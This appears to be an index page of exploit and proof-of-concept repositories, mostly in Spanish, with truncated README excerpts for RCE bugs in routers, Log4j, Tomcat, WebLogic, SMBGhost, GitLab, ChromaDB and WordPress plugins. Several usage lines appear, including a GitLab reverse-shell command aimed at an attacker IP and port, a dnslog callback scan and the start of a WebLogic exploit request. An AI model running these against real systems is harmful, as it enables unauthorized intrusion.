CVE-2018-18852

CERIO router RCE autenticado credenciales de vendor backdoor CVE-2018-18852 PoC en Python hook-s3c github.com/hook-s3c, @hooks3c en Twitter PoC funcional en Python para CVE-2018-18852, originalmente apareció en; https://github.com/hook-s3c/CVE-2018-18852 ¿Qué hay? Los modelos y variantes de route...

CVE-2019-11932

CVE-2019-11932 Cómo un fallo de doble liberación en WhatsApp se convierte en RCE Voy a compartir una vulnerabilidad de doble liberación que descubrí en WhatsApp para Android, y cómo la convertí en un RCE. Informé de esto a Facebook. Facebook lo reconoció y lo parcheó oficialmente en la versión...

innbox_root

Innbox G74/M84 - Unauthenticated Remote Code Execution via log...

log4j

log4j Un escáner automatizado exhaustivo de cabeceras para detectar log4j RCE CVE-2021-44228 Uso $ python3 log4j.py -l urls.txt --dns-log REPLACETHIS.dnslog.cn...

CVE-2017-12615

En memoria de Chia Junyuan https://packetstormsecurity.com/files/author/11924/ POC CVE-2017-12615 POC de Exploit para Apache Tomcat 7.0.0 a 7.0.79 en Windows; vulnerabilidad PUT JSP CVE-2017-12615. Descripción: Por diseño, no está permitido subir archivos JSP mediante el método PUT en los...

CVE-2023-0297

pyloadCVE-2023-0297poc Una vulnerabilidad de inyección de código en versiones de pyLoad anteriores a 0.5.0b3.dev31 conduce a RCE sin autenticación al abusar de la funcionalidad de js2py. uso Uso de CVE-2023-0297poc.exe: -f string fileName:IP.txt -u string example:http://127.0.0.1:8080...

log4shell-demo

Aplicación Spring Boot simple que es vulnerable a Log4Shell CVE-2021-44228 Cambió el framework de logging predeterminado de logback a log4j2 La aplicación registra el encabezado 'User-Agent', por lo que se puede probar la vulnerabilidad con curl y, por ejemplo, interactsh-service: curl -A...

CVEHarvest

CVEHarvest Multi-CVE exploitation framework for Windows syste...

CVE-2026-87902-Toolkit

CVE‑2026‑87902 – WordPress Unauth LFI→RCE Toolkit ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING This repository provides tools for authorized security professionals, blue teams, and penetration testers only. Unauthorized access to computer systems is illegal under CFAA US, Computer Misuse Act UK...

CVE-2019-5475

CVE-2019-5475 Laboratorio CVE-2019-5475 y CVE-2019-15588: vulnerabilidad de inyección de comandos RCE 0x00 Contexto CVE-2019-5475 es una vulnerabilidad de inyección de comandos RCE en Nexus relacionada con el plugin integrado Yum Repository. Fue divulgada originalmente en hackerone, pero debido a...

CVE-2017-10271

Identificación y explotación de CVE-2017-10271. RCE no autenticado en Weblogic. https://nvd.nist.gov/vuln/detail/CVE-2017-10271 https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: SOMEHOSTHERE Content-Length: 1226...

CVE-2025-13597

AI Feeds = 1.0.11 - Carga de archivos arbitraria sin autenticación El complemento de WordPress AI Feeds en versiones 1.0.11 e inferiores contiene una vulnerabilidad de ejecución remota de código sin autenticación en el archivo actualizadorgit.php. Este archivo es accesible directamente vía HTTP s...

CVE-2020-0022

CVE-2020-0022 explotación de vulnerabilidad en Bouygues BBox Miami Android TV 8.0 - ARM32 Cortex A9 Por Polo35 - 2020/08/24 "Uso: python poloexploit.py targetbtmac targetadbip, shellcommand, disablereboot, verbose" Basado en scripts de Jan Ruge CVE-2020-0022 un RCE Bluetooth Zero-Click en Android...

CVE-2019-2890

CVE-2019-2890 Vulnerabilidad de RCE por deserialización en WebLogic 0x01 Descargar SerializedSystemIni.dat /root/Oracle/Middleware/userprojects/domains/basedomain/security root@159475444bab:/Oracle/Middleware/userprojects/domains/basedomain/security md5sum SerializedSystemIni.dat...

CVE-2026-48778

CVE-2026-48778 PoC RCE en Notepad++ mediante commandLineInterpreter en config.xml Uso .\CVE-2026-48778.exe calc.exe Demo https://github.com/user-attachments/assets/79ec82c9-ab37-4923-b62d-325710095e86 Resumen de la vulnerabilidad Paquete| Versiones afectadas| Versiones parcheadas ---|---|---...

FULL-ANALYSIS---CVE-2026-45829-ChromaDB-

CVE-2026-45829 - ChromaDB Pre-Auth RCE CVSS 10.0 ⚠️ ADVERTENCIA Este repositorio contiene una PoC FUNCIONAL para CVE-2026-45829. SOLO para pruebas autorizadas en entornos controlados. Descripción Vulnerabilidad crítica en ChromaDB versiones 1.0.0 a 1.5.8 que permite a un atacante no autenticado...

SMBGhost_RCE_PoC

SMBGhostRCEPoC PoC de RCE para CVE-2020-0796 "SMBGhost" ¡Solo para fines demostrativos! Úsalo únicamente como referencia. En serio. No ha sido probado fuera de mi entorno de laboratorio. Se escribió rápidamente y necesita trabajo para ser más fiable. A veces genera un BSOD. Usarlo para cualquier...

GitLab-CVE-2021-22205-scanner

GitLab-CVE-2021-22205-scanner Uso $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort Créditos https://hackerone.com/reports/1154542 Fragmento de código referenciado desde aquí: https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py Descargo de...

CVE-2026-85423

A vulnerability has been identified in the data collection service of Brocade ASCG versions before 3.5.0. An API endpoint within the data collector service fails to perform authentication or authorization checks on incoming requests. An attacker with network access to the service can instruct the...

CVE-2025-54322

CVE-2025-54322 - Escáner de RCE Pre-Auth para XSpeeder SXZOS Un escáner de vulnerabilidades multihilo para CVE-2025-54322, una vulnerabilidad de ejecución remota de código no autenticada en el firmware XSpeeder SXZOS que afecta a más de 70.000 hosts a nivel mundial. 📋 Tabla de Contenidos Acerca d...